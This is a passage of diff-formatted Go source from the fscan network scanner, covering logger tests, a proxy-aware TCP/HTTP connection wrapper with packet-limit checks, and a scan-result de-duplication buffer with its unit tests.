msg := fmt.Sprintf("goroutine-%d-log-%d", id, j)
|
||||
|
||||
// 随机使用不同级别
|
||||
switch j % 5 {
|
||||
case 0:
|
||||
logger.Debug(msg)
|
||||
case 1:
|
||||
logger.Info(msg)
|
||||
case 2:
|
||||
logger.Success(msg)
|
||||
case 3:
|
||||
logger.Error(msg)
|
||||
case 4:
|
||||
logger.Base(msg)
|
||||
}
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
// 验证输出数量
|
||||
output := capture.Get()
|
||||
if len(output) != totalLogs {
|
||||
t.Errorf("期望%d条日志,实际%d条(数据丢失或重复)",
|
||||
totalLogs, len(output))
|
||||
}
|
||||
|
||||
// 验证每条日志格式正确(前缀可能是 "[" 或空格)
|
||||
for i, line := range output {
|
||||
if !strings.HasPrefix(line, "[") && !strings.HasPrefix(line, " ") {
|
||||
t.Errorf("第%d条日志格式错误: %s", i+1, line)
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ 并发日志测试通过(%d个goroutine,共%d条日志)",
|
||||
numGoroutines, totalLogs)
|
||||
}
|
||||
|
||||
// TestLogger_NoCoordinatedOutput 测试无协调输出的情况
|
||||
//
|
||||
// 验证:coordinatedOutput为nil时,使用fmt.Println(不会panic)
|
||||
func TestLogger_NoCoordinatedOutput(t *testing.T) {
|
||||
config := &LoggerConfig{
|
||||
Level: LevelAll,
|
||||
EnableColor: false,
|
||||
StartTime: time.Now(),
|
||||
}
|
||||
logger := NewLogger(config)
|
||||
// 不设置 coordinatedOutput
|
||||
|
||||
// 应该不会panic(会使用fmt.Println)
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
t.Errorf("不应该panic: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
logger.Info("test message")
|
||||
|
||||
t.Logf("✓ 无协调输出测试通过(使用fmt.Println)")
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// Logger - 高级功能测试(提升覆盖率)
|
||||
// =============================================================================
|
||||
|
||||
// TestLogger_SingleLevels 测试单独级别配置
|
||||
//
|
||||
// 验证:层级过滤 - 设置一个级别后,显示该级别及以上的日志,Error始终显示
|
||||
func TestLogger_SingleLevels(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
configLevel LogLevel
|
||||
testLevels map[string]func(*Logger, string)
|
||||
wantOutput map[string]bool
|
||||
}{
|
||||
{
|
||||
name: "LevelDebug - 显示所有",
|
||||
configLevel: LevelDebug,
|
||||
testLevels: map[string]func(*Logger, string){
|
||||
"debug": (*Logger).Debug,
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
"success": (*Logger).Success,
|
||||
"error": (*Logger).Error,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"debug": true, "base": true, "info": true,
|
||||
"success": true, "error": true, // 层级过滤:Debug(0)及以上全显示
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelBase - 基础及以上",
|
||||
configLevel: LevelBase,
|
||||
testLevels: map[string]func(*Logger, string){
|
||||
"debug": (*Logger).Debug,
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"debug": false, "base": true, "info": true, // 层级过滤:Base(1)及以上
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelInfo - 信息及以上",
|
||||
configLevel: LevelInfo,
|
||||
testLevels: map[string]func(*Logger, string){
|
||||
"base": (*Logger).Base,
|
||||
"info": (*Logger).Info,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"base": false, "info": true, // 层级过滤:Info(2)及以上
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "LevelSuccess - 成功及以上",
|
||||
configLevel: LevelSuccess,
|
||||
testLevels: map[string]func(*Logger, string){
|
||||
"info": (*Logger).Info,
|
||||
"success": (*Logger).Success,
|
||||
},
|
||||
wantOutput: map[string]bool{
|
||||
"info": false, "success": true, // 层级过滤:Success(3)及以上
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
logger, capture := createTestLogger(tt.configLevel, false)
|
||||
|
||||
for levelName, logFunc := range tt.testLevels {
|
||||
capture.Clear()
|
||||
logFunc(logger, levelName+" message")
|
||||
|
||||
output := capture.Get()
|
||||
shouldOutput := tt.wantOutput[levelName]
|
||||
|
||||
if shouldOutput && len(output) == 0 {
|
||||
t.Errorf("%s: 应该输出但没有输出", levelName)
|
||||
}
|
||||
if !shouldOutput && len(output) > 0 {
|
||||
t.Errorf("%s: 不应该输出但输出了: %v", levelName, output)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 测试通过", tt.name)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestLogger_ColorOutput 测试颜色输出
|
||||
//
|
||||
// 验证:EnableColor开关正确控制颜色输出
|
||||
func TestLogger_ColorOutput(t *testing.T) {
|
||||
t.Run("禁用颜色", func(t *testing.T) {
|
||||
logger, capture := createTestLogger(LevelAll, false)
|
||||
logger.Info("test")
|
||||
|
||||
output := capture.Get()
|
||||
if len(output) == 0 {
|
||||
t.Fatal("应该有输出")
|
||||
}
|
||||
|
||||
// 无颜色时,输出就是纯文本
|
||||
if strings.Contains(output[0], "\033[") {
|
||||
t.Error("禁用颜色时不应该包含ANSI转义序列")
|
||||
}
|
||||
|
||||
t.Logf("✓ 禁用颜色测试通过")
|
||||
})
|
||||
|
||||
t.Run("启用颜色", func(t *testing.T) {
|
||||
logger, capture := createTestLogger(LevelAll, true)
|
||||
logger.Info("test")
|
||||
|
||||
output := capture.Get()
|
||||
if len(output) == 0 {
|
||||
t.Fatal("应该有输出")
|
||||
}
|
||||
|
||||
// 启用颜色时,输出可能包含颜色(取决于终端支持)
|
||||
// 但不会panic
|
||||
t.Logf("✓ 启用颜色测试通过: %s", output[0])
|
||||
})
|
||||
}
|
||||
|
||||
// TestLogger_BackwardCompatibility 测试向后兼容性
|
||||
//
|
||||
// 验证:LevelAll 等同于 LevelDebug,显示所有级别
|
||||
func TestLogger_BackwardCompatibility(t *testing.T) {
|
||||
config := &LoggerConfig{
|
||||
Level: LevelAll, // LevelAll 是 LevelDebug 的别名
|
||||
EnableColor: false,
|
||||
ShowProgress: false,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
}
|
||||
logger := NewLogger(config)
|
||||
capture := &captureOutput{}
|
||||
logger.SetCoordinatedOutput(capture.Write)
|
||||
|
||||
// LevelAll 应该显示所有级别
|
||||
logger.Debug("debug msg")
|
||||
logger.Info("info msg")
|
||||
logger.Error("error msg")
|
||||
|
||||
output := capture.Get()
|
||||
if len(output) != 3 {
|
||||
t.Errorf("LevelAll应该显示所有级别,期望3条,实际%d条", len(output))
|
||||
}
|
||||
|
||||
t.Logf("✓ 向后兼容测试通过(LevelAll显示所有级别)")
|
||||
}
|
||||
|
||||
// TestLogger_Initialize 测试初始化标记
|
||||
//
|
||||
// 验证:Initialize方法正确设置initialized标志
|
||||
func TestLogger_Initialize(t *testing.T) {
|
||||
config := &LoggerConfig{
|
||||
Level: LevelAll,
|
||||
EnableColor: false,
|
||||
ShowProgress: false,
|
||||
StartTime: time.Now(),
|
||||
LevelColors: GetDefaultLevelColors(),
|
||||
}
|
||||
|
||||
// 手动创建logger,跳过NewLogger中的自动初始化
|
||||
logger := &Logger{
|
||||
config: config,
|
||||
initialized: false, // 明确设置为false
|
||||
}
|
||||
|
||||
// 验证初始状态
|
||||
if logger.initialized {
|
||||
t.Error("新创建的logger不应该已初始化")
|
||||
}
|
||||
|
||||
// 调用Initialize
|
||||
logger.Initialize()
|
||||
|
||||
// 验证已初始化
|
||||
if !logger.initialized {
|
||||
t.Error("调用Initialize后应该已初始化")
|
||||
}
|
||||
|
||||
t.Logf("✓ Initialize测试通过")
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
package common
|
||||
|
||||
/*
|
||||
network.go - 统一网络操作包装器
|
||||
|
||||
提供便捷的网络连接API,自动处理发包限制检查、代理和统计。
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common/proxy"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 全局代理管理器(复用连接,避免重复创建)
|
||||
// =============================================================================
|
||||
|
||||
var (
|
||||
globalProxyOnce sync.Once
|
||||
globalProxyDialer proxy.Dialer
|
||||
globalProxyInitErr error
|
||||
)
|
||||
|
||||
// getGlobalDialer 获取全局拨号器(线程安全,只初始化一次)
|
||||
func getGlobalDialer(timeout time.Duration) (proxy.Dialer, error) {
|
||||
globalProxyOnce.Do(func() {
|
||||
// 创建代理配置
|
||||
config := createProxyConfig(timeout)
|
||||
|
||||
// 创建代理管理器
|
||||
manager := proxy.NewProxyManager(config)
|
||||
|
||||
// 创建拨号器
|
||||
globalProxyDialer, globalProxyInitErr = manager.GetDialer()
|
||||
})
|
||||
|
||||
return globalProxyDialer, globalProxyInitErr
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 代理配置
|
||||
// =============================================================================
|
||||
|
||||
// parseProxyURL 解析代理URL,提取地址和认证信息
|
||||
func parseProxyURL(proxyURL, fallback string) (host, username, password string) {
|
||||
parsedURL, err := url.Parse(proxyURL)
|
||||
if err != nil {
|
||||
return fallback, "", ""
|
||||
}
|
||||
host = parsedURL.Host
|
||||
if parsedURL.User != nil {
|
||||
username = parsedURL.User.Username()
|
||||
password, _ = parsedURL.User.Password()
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// createProxyConfig 根据全局设置创建代理配置
|
||||
func createProxyConfig(timeout time.Duration) *proxy.ProxyConfig {
|
||||
fv := GetFlagVars()
|
||||
config := proxy.DefaultProxyConfig()
|
||||
config.Timeout = timeout
|
||||
config.LocalAddr = fv.Iface // 设置本地网卡IP地址
|
||||
|
||||
// 优先使用SOCKS5代理
|
||||
if fv.Socks5Proxy != "" {
|
||||
config.Type = proxy.ProxyTypeSOCKS5
|
||||
// 确保有协议前缀以便解析
|
||||
socks5URL := fv.Socks5Proxy
|
||||
if !strings.HasPrefix(socks5URL, "socks5://") {
|
||||
socks5URL = "socks5://" + socks5URL
|
||||
}
|
||||
config.Address, config.Username, config.Password = parseProxyURL(socks5URL, fv.Socks5Proxy)
|
||||
return config
|
||||
}
|
||||
|
||||
// 其次使用HTTP代理
|
||||
if fv.HTTPProxy != "" {
|
||||
if strings.HasPrefix(fv.HTTPProxy, "https://") {
|
||||
config.Type = proxy.ProxyTypeHTTPS
|
||||
} else {
|
||||
config.Type = proxy.ProxyTypeHTTP
|
||||
}
|
||||
config.Address, config.Username, config.Password = parseProxyURL(fv.HTTPProxy, fv.HTTPProxy)
|
||||
return config
|
||||
}
|
||||
|
||||
// 无代理配置,使用直连
|
||||
config.Type = proxy.ProxyTypeNone
|
||||
return config
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// TCP 连接
|
||||
// =============================================================================
|
||||
|
||||
// Deprecated: WrapperTcpWithTimeout 仅供 mylib/grdp 兼容使用,新代码请用 ScanSession.DialTCP
|
||||
//
|
||||
//nolint:revive
|
||||
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
|
||||
// 检查发包限制 - 在代理连接前进行控制
|
||||
if canSend, reason := CanSendPacket(); !canSend {
|
||||
LogError(fmt.Sprintf("TCP连接 %s 受限: %s", address, reason))
|
||||
return nil, fmt.Errorf("发包受限: %s", reason)
|
||||
}
|
||||
|
||||
// 获取全局拨号器(复用,避免重复创建)
|
||||
dialer, err := getGlobalDialer(timeout)
|
||||
if err != nil {
|
||||
LogError(fmt.Sprintf("获取代理拨号器失败: %v", err))
|
||||
GetGlobalState().IncrementTCPFailedPacketCount()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 使用代理拨号器连接
|
||||
conn, err := dialer.DialContext(context.Background(), network, address)
|
||||
|
||||
// 统计TCP包数量 - 无论是否使用代理都要计数
|
||||
if err != nil {
|
||||
GetGlobalState().IncrementTCPFailedPacketCount()
|
||||
LogDebug(fmt.Sprintf("连接 %s 失败: %v", address, err))
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 连接成功,统计成功包
|
||||
GetGlobalState().IncrementTCPSuccessPacketCount()
|
||||
|
||||
return conn, nil
|
||||
}
|
||||
|
||||
// SafeTCPDial TCP连接的便捷封装
|
||||
// 直接调用WrapperTcpWithTimeout,自动处理发包限制、代理和统计
|
||||
func SafeTCPDial(address string, timeout time.Duration) (net.Conn, error) {
|
||||
return WrapperTcpWithTimeout("tcp", address, timeout)
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// HTTP 请求
|
||||
// =============================================================================
|
||||
|
||||
// IsProxyEnabled 检查是否启用了代理(封装proxy包的函数)
|
||||
func IsProxyEnabled() bool {
|
||||
return proxy.IsProxyEnabled()
|
||||
}
|
||||
|
||||
// IsProxyReliable 检查代理是否可靠(不存在全回显问题)
|
||||
func IsProxyReliable() bool {
|
||||
return proxy.IsProxyReliable()
|
||||
}
|
||||
|
||||
// IsSOCKS5Proxy 检查当前代理是否为SOCKS5类型
|
||||
func IsSOCKS5Proxy() bool {
|
||||
return proxy.IsSOCKS5Proxy()
|
||||
}
|
||||
|
||||
// SafeHTTPDo 带发包控制的HTTP请求
|
||||
func SafeHTTPDo(client *http.Client, req *http.Request) (*http.Response, error) {
|
||||
// 检查发包限制
|
||||
if canSend, reason := CanSendPacket(); !canSend {
|
||||
LogError(fmt.Sprintf("HTTP请求 %s 受限: %s", req.URL.String(), reason))
|
||||
return nil, fmt.Errorf("发包受限: %s", reason)
|
||||
}
|
||||
|
||||
// 执行HTTP请求
|
||||
resp, err := client.Do(req)
|
||||
|
||||
// 统计TCP包数量 (HTTP本质上是TCP)
|
||||
if err != nil {
|
||||
GetGlobalState().IncrementTCPFailedPacketCount()
|
||||
} else {
|
||||
GetGlobalState().IncrementTCPSuccessPacketCount()
|
||||
}
|
||||
|
||||
return resp, err
|
||||
}
|
||||
@@ -0,0 +1,183 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// ResultBuffer 公共的去重缓冲逻辑,供各Writer复用
|
||||
type ResultBuffer struct {
|
||||
mu sync.Mutex
|
||||
|
||||
// 分类缓冲
|
||||
HostResults []*ScanResult
|
||||
PortResults []*ScanResult
|
||||
ServiceResults []*ScanResult
|
||||
VulnResults []*ScanResult
|
||||
|
||||
// 去重map
|
||||
seenHosts map[string]struct{}
|
||||
seenPorts map[string]struct{}
|
||||
seenServices map[string]int // 存储索引,用于更新更完整的记录
|
||||
seenVulns map[string]struct{}
|
||||
}
|
||||
|
||||
// NewResultBuffer 创建新的结果缓冲
|
||||
func NewResultBuffer() *ResultBuffer {
|
||||
return &ResultBuffer{
|
||||
seenHosts: make(map[string]struct{}),
|
||||
seenPorts: make(map[string]struct{}),
|
||||
seenServices: make(map[string]int),
|
||||
seenVulns: make(map[string]struct{}),
|
||||
}
|
||||
}
|
||||
|
||||
// Add 添加结果到缓冲(自动去重)
|
||||
func (b *ResultBuffer) Add(result *ScanResult) {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
|
||||
if result == nil {
|
||||
return
|
||||
}
|
||||
|
||||
key := b.generateKey(result)
|
||||
|
||||
switch result.Type {
|
||||
case TypeHost:
|
||||
if _, exists := b.seenHosts[key]; !exists {
|
||||
b.seenHosts[key] = struct{}{}
|
||||
b.HostResults = append(b.HostResults, result)
|
||||
}
|
||||
case TypePort:
|
||||
if _, exists := b.seenPorts[key]; !exists {
|
||||
b.seenPorts[key] = struct{}{}
|
||||
b.PortResults = append(b.PortResults, result)
|
||||
}
|
||||
case TypeService:
|
||||
if idx, exists := b.seenServices[key]; !exists {
|
||||
b.seenServices[key] = len(b.ServiceResults)
|
||||
b.ServiceResults = append(b.ServiceResults, result)
|
||||
} else {
|
||||
b.mergeDetails(b.ServiceResults[idx], result)
|
||||
// 保留信息更完整的记录,同时保留另一条记录补充的字段
|
||||
if b.isMoreComplete(result, b.ServiceResults[idx]) {
|
||||
b.ServiceResults[idx] = result
|
||||
}
|
||||
}
|
||||
case TypeVuln:
|
||||
if _, exists := b.seenVulns[key]; !exists {
|
||||
b.seenVulns[key] = struct{}{}
|
||||
b.VulnResults = append(b.VulnResults, result)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (b *ResultBuffer) mergeDetails(oldResult, newResult *ScanResult) {
|
||||
if oldResult == nil || newResult == nil {
|
||||
return
|
||||
}
|
||||
if oldResult.Details == nil {
|
||||
oldResult.Details = make(map[string]interface{})
|
||||
}
|
||||
if newResult.Details == nil {
|
||||
newResult.Details = make(map[string]interface{})
|
||||
}
|
||||
for k, v := range oldResult.Details {
|
||||
if _, exists := newResult.Details[k]; !exists {
|
||||
newResult.Details[k] = v
|
||||
}
|
||||
}
|
||||
for k, v := range newResult.Details {
|
||||
if _, exists := oldResult.Details[k]; !exists {
|
||||
oldResult.Details[k] = v
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// generateKey 生成结果的唯一键(用于去重)
|
||||
func (b *ResultBuffer) generateKey(result *ScanResult) string {
|
||||
switch result.Type {
|
||||
case TypeHost:
|
||||
return result.Target
|
||||
case TypePort:
|
||||
if result.Details != nil {
|
||||
if port, ok := result.Details["port"]; ok {
|
||||
return fmt.Sprintf("%s:%v", result.Target, port)
|
||||
}
|
||||
}
|
||||
return result.Target
|
||||
case TypeService:
|
||||
return result.Target
|
||||
case TypeVuln:
|
||||
return result.Target + "|" + result.Status
|
||||
default:
|
||||
return result.Target + "|" + result.Status
|
||||
}
|
||||
}
|
||||
|
||||
// isMoreComplete 判断新记录是否比旧记录信息更完整
|
||||
func (b *ResultBuffer) isMoreComplete(newResult, oldResult *ScanResult) bool {
|
||||
return b.CalculateCompleteness(newResult) > b.CalculateCompleteness(oldResult)
|
||||
}
|
||||
|
||||
// CalculateCompleteness 计算记录的信息完整度
|
||||
func (b *ResultBuffer) CalculateCompleteness(result *ScanResult) int {
|
||||
score := 0
|
||||
if result.Details == nil {
|
||||
return score
|
||||
}
|
||||
|
||||
// 有 status 码加分
|
||||
if status, ok := result.Details["status"]; ok && status != nil && status != 0 {
|
||||
score += 2
|
||||
}
|
||||
// 有 server 加分
|
||||
if server, ok := result.Details["server"].(string); ok && server != "" {
|
||||
score += 2
|
||||
}
|
||||
// 有 title 加分
|
||||
if title, ok := result.Details["title"].(string); ok && title != "" {
|
||||
score += 1
|
||||
}
|
||||
// 有指纹加分
|
||||
if fps := result.Details["fingerprints"]; fps != nil {
|
||||
switch v := fps.(type) {
|
||||
case []string:
|
||||
if len(v) > 0 {
|
||||
score += 3
|
||||
}
|
||||
case []interface{}:
|
||||
if len(v) > 0 {
|
||||
score += 3
|
||||
}
|
||||
}
|
||||
}
|
||||
// 有 banner 加分
|
||||
if banner, ok := result.Details["banner"].(string); ok && banner != "" {
|
||||
score += 1
|
||||
}
|
||||
|
||||
return score
|
||||
}
|
||||
|
||||
// Summary 获取统计摘要
|
||||
func (b *ResultBuffer) Summary() (hosts, ports, services, vulns int) {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
return len(b.HostResults), len(b.PortResults), len(b.ServiceResults), len(b.VulnResults)
|
||||
}
|
||||
|
||||
// Clear 清空缓冲
|
||||
func (b *ResultBuffer) Clear() {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
b.HostResults = nil
|
||||
b.PortResults = nil
|
||||
b.ServiceResults = nil
|
||||
b.VulnResults = nil
|
||||
b.seenHosts = make(map[string]struct{})
|
||||
b.seenPorts = make(map[string]struct{})
|
||||
b.seenServices = make(map[string]int)
|
||||
b.seenVulns = make(map[string]struct{})
|
||||
}
|
||||
@@ -0,0 +1,475 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
/*
|
||||
buffer_test.go - ResultBuffer 高价值测试
|
||||
|
||||
测试重点:
|
||||
1. 去重逻辑 - 不同结果类型的去重策略差异
|
||||
2. 完整度评分 - 决定是否替换已有服务记录
|
||||
3. 并发安全 - 多goroutine同时Add
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 基本去重测试
|
||||
// =============================================================================
|
||||
|
||||
// TestResultBuffer_HostDeduplication 测试主机去重
|
||||
func TestResultBuffer_HostDeduplication(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 添加相同主机多次
|
||||
for i := 0; i < 10; i++ {
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeHost,
|
||||
Target: "192.168.1.1",
|
||||
Status: "alive",
|
||||
})
|
||||
}
|
||||
|
||||
hosts, _, _, _ := buf.Summary()
|
||||
if hosts != 1 {
|
||||
t.Errorf("主机应去重为1个,实际 %d", hosts)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_PortDeduplication 测试端口去重
|
||||
func TestResultBuffer_PortDeduplication(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 相同IP:Port应去重
|
||||
for i := 0; i < 5; i++ {
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypePort,
|
||||
Target: "192.168.1.1",
|
||||
Details: map[string]interface{}{"port": 80},
|
||||
})
|
||||
}
|
||||
|
||||
// 不同端口不去重
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypePort,
|
||||
Target: "192.168.1.1",
|
||||
Details: map[string]interface{}{"port": 443},
|
||||
})
|
||||
|
||||
_, ports, _, _ := buf.Summary()
|
||||
if ports != 2 {
|
||||
t.Errorf("端口应有2个(80和443),实际 %d", ports)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_ServiceDeduplication 测试服务去重
|
||||
func TestResultBuffer_ServiceDeduplication(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 相同Target的服务应去重
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "http",
|
||||
})
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "nginx",
|
||||
})
|
||||
|
||||
_, _, services, _ := buf.Summary()
|
||||
if services != 1 {
|
||||
t.Errorf("相同Target的服务应去重为1个,实际 %d", services)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_VulnDeduplication 测试漏洞去重
|
||||
func TestResultBuffer_VulnDeduplication(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 相同Target+Status的漏洞应去重
|
||||
for i := 0; i < 3; i++ {
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeVuln,
|
||||
Target: "192.168.1.1:445",
|
||||
Status: "MS17-010",
|
||||
})
|
||||
}
|
||||
|
||||
// 不同漏洞不去重
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeVuln,
|
||||
Target: "192.168.1.1:445",
|
||||
Status: "CVE-2020-0796",
|
||||
})
|
||||
|
||||
_, _, _, vulns := buf.Summary()
|
||||
if vulns != 2 {
|
||||
t.Errorf("漏洞应有2个,实际 %d", vulns)
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 完整度评分测试
|
||||
// =============================================================================
|
||||
|
||||
// TestResultBuffer_CompletenessScore 测试完整度评分
|
||||
func TestResultBuffer_CompletenessScore(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
result *ScanResult
|
||||
expectedScore int
|
||||
}{
|
||||
{
|
||||
name: "空Details",
|
||||
result: &ScanResult{Details: nil},
|
||||
expectedScore: 0,
|
||||
},
|
||||
{
|
||||
name: "只有status",
|
||||
result: &ScanResult{Details: map[string]interface{}{"status": 200}},
|
||||
expectedScore: 2,
|
||||
},
|
||||
{
|
||||
name: "有server",
|
||||
result: &ScanResult{Details: map[string]interface{}{"server": "nginx/1.18.0"}},
|
||||
expectedScore: 2,
|
||||
},
|
||||
{
|
||||
name: "有title",
|
||||
result: &ScanResult{Details: map[string]interface{}{"title": "Welcome"}},
|
||||
expectedScore: 1,
|
||||
},
|
||||
{
|
||||
name: "有指纹-[]string",
|
||||
result: &ScanResult{Details: map[string]interface{}{"fingerprints": []string{"nginx"}}},
|
||||
expectedScore: 3,
|
||||
},
|
||||
{
|
||||
name: "有指纹-[]interface{}",
|
||||
result: &ScanResult{Details: map[string]interface{}{"fingerprints": []interface{}{"apache", "php"}}},
|
||||
expectedScore: 3,
|
||||
},
|
||||
{
|
||||
name: "有banner",
|
||||
result: &ScanResult{Details: map[string]interface{}{"banner": "SSH-2.0-OpenSSH"}},
|
||||
expectedScore: 1,
|
||||
},
|
||||
{
|
||||
name: "完整记录",
|
||||
result: &ScanResult{
|
||||
Details: map[string]interface{}{
|
||||
"status": 200,
|
||||
"server": "nginx",
|
||||
"title": "Home",
|
||||
"fingerprints": []string{"nginx", "php"},
|
||||
"banner": "test",
|
||||
},
|
||||
},
|
||||
expectedScore: 9, // 2+2+1+3+1
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
score := buf.CalculateCompleteness(tt.result)
|
||||
if score != tt.expectedScore {
|
||||
t.Errorf("完整度评分 = %d, 期望 %d", score, tt.expectedScore)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_ServiceUpdate 测试服务记录更新
|
||||
//
|
||||
// 当新记录比旧记录更完整时,应该替换
|
||||
func TestResultBuffer_ServiceUpdate(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 先添加简单记录
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "http",
|
||||
Details: map[string]interface{}{},
|
||||
})
|
||||
|
||||
// 再添加更完整的记录
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "http",
|
||||
Details: map[string]interface{}{
|
||||
"status": 200,
|
||||
"server": "nginx/1.18.0",
|
||||
"title": "Welcome",
|
||||
"fingerprints": []string{"nginx", "php"},
|
||||
},
|
||||
})
|
||||
|
||||
_, _, services, _ := buf.Summary()
|
||||
if services != 1 {
|
||||
t.Fatal("服务数量应为1")
|
||||
}
|
||||
|
||||
// 验证是更完整的记录
|
||||
if buf.ServiceResults[0].Details == nil {
|
||||
t.Fatal("Details不应为nil")
|
||||
}
|
||||
if buf.ServiceResults[0].Details["server"] != "nginx/1.18.0" {
|
||||
t.Error("应保留更完整的记录")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResultBuffer_ServiceUpdateMergesDetails(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "identified",
|
||||
Details: map[string]interface{}{
|
||||
"service": "http",
|
||||
"banner": "HTTP/1.1 200 OK",
|
||||
},
|
||||
})
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "web",
|
||||
Details: map[string]interface{}{
|
||||
"title": "Home",
|
||||
"status": 200,
|
||||
"server": "nginx",
|
||||
},
|
||||
})
|
||||
|
||||
if len(buf.ServiceResults) != 1 {
|
||||
t.Fatalf("期望1条服务记录,实际 %d", len(buf.ServiceResults))
|
||||
}
|
||||
details := buf.ServiceResults[0].Details
|
||||
for _, key := range []string{"service", "banner", "title", "status", "server"} {
|
||||
if _, ok := details[key]; !ok {
|
||||
t.Errorf("合并后的服务记录缺少字段 %q: %#v", key, details)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_ServiceNoDowngrade 测试不降级服务记录
|
||||
//
|
||||
// 当新记录不如旧记录完整时,不应替换
|
||||
func TestResultBuffer_ServiceNoDowngrade(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 先添加完整记录
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "http",
|
||||
Details: map[string]interface{}{
|
||||
"status": 200,
|
||||
"server": "nginx/1.18.0",
|
||||
"fingerprints": []string{"nginx"},
|
||||
},
|
||||
})
|
||||
|
||||
// 再添加简单记录
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: "192.168.1.1:80",
|
||||
Status: "http",
|
||||
Details: map[string]interface{}{},
|
||||
})
|
||||
|
||||
// 验证仍保留完整记录
|
||||
if buf.ServiceResults[0].Details["server"] != "nginx/1.18.0" {
|
||||
t.Error("不应降级到不完整的记录")
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 并发安全测试
|
||||
// =============================================================================
|
||||
|
||||
// TestResultBuffer_ConcurrentAdd 测试并发添加
|
||||
func TestResultBuffer_ConcurrentAdd(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
const goroutines = 100
|
||||
const resultsPerGoroutine = 100
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(goroutines)
|
||||
|
||||
for i := 0; i < goroutines; i++ {
|
||||
go func(id int) {
|
||||
defer wg.Done()
|
||||
for j := 0; j < resultsPerGoroutine; j++ {
|
||||
// 每个goroutine添加不同类型的结果
